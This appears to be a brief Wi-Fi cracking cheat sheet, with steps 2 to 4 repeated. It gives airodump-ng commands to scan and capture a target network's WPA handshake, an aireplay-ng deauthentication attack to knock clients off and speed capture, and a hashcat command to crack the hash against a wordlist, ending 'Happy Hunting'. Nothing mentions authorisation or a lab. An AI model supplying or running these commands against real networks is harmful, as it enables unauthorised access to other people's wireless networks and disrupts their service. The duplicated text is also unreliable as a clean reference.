1 - Scan the AP's with:
airodump-ng <interface>
2 - Get the Target AP's BSSID and CHANNEL and run this command to scan target network:
airodump-ng --bssid <target_bssid> --channel <target_channel> -w your_file_name <interface>
3 - Wait & look up right to see if the tool captured the handshake (optional -> deauth attack to capture faster):
aireplay-ng --deauth <num_of_pckgs> -a <target_gateway_bssid> -c <target_mac> <interface>
4 - After capturing the handshake use GPU to crack WPA hashes:
Convert .cap file to .hccapx file
hashcat -m 22000 capture.hccapx /path/to/wordlist
Happy Hunting
airodump-ng <interface>
2 - Get the Target AP's BSSID and CHANNEL and run this command to scan target network:
airodump-ng --bssid <target_bssid> --channel <target_channel> -w your_file_name <interface>
3 - Wait & look up right to see if the tool captured the handshake (optional -> deauth attack to capture faster):
aireplay-ng --deauth <num_of_pckgs> -a <target_gateway_bssid> -c <target_mac> <interface>
4 - After capturing the handshake use GPU to crack WPA hashes:
Convert .cap file to .hccapx file
hashcat -m 22000 capture.hccapx /path/to/wordlist
Happy Hunting

